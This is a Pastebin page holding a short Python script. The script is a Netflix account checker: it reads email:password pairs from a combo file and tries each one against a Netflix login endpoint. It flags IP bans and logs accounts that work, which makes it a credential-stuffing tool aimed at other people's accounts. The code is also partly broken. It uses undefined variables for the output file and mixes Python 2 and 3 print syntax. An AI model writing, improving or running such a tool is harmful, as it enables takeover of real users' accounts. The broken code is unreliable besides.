Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import sys
- import time
- import requests
- import json
- URLlogin = "https://api-global.netflix.com/account/auth"
- URLcookies = "https://www.netflix.com/fr/"
- class NetflixClient():
- def __init__(self):
- self.client = requests.session() # Create session
- def openSession(self, proxy=dict()):
- self.client.get(URLcookies, proxies=proxy, timeout=10)
- if len(self.client.cookies) == 0:
- return False
- return True
- def login(self, email, mdp, proxy=dict()):
- r = self.client.post(URLlogin, data=dict(email=email, password=mdp), cookies=self.client.cookies, proxies=proxy, timeout=7.5)
- print(r.text)
- if r.status_code == 403:
- raise Exception("IP ban")
- if r.status_code == 200:
- try:
- json.loads(r.text)
- except:
- print("Json error")
- raise Exception("IP ban")
- if (r.text.find("CURRENT_MEMBER") != -1):
- with open(output, "w") as text_file:
- text_file.write(txt)
- return (True, r.text.find("CURRENT_MEMBER") != -1)
- elif r.text != "Incorrect email address or password.\n":
- print("BANNED")
- raise Exception("IP ban")
- return (False, False)
- if __name__ == "__main__":
- try:
- timeout_bee = int((sys.argv[1]))
- user_pass = (sys.argv[2])
- except:
- raise Exception("Bad parsing")
- with open(user_pass) as f:
- for line in f:
- user = line.rsplit(':', 1)[0]
- password = line.rsplit(':', 1)[1]
- testLogin = NetflixClient()
- testLogin.openSession()
- print 'Trying: {0}:{1} {2}'.format(user,password,testLogin.login(user, password))
- while(True):
- print('...')
- time.sleep(timeout_bee)
- break
- print('END')
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement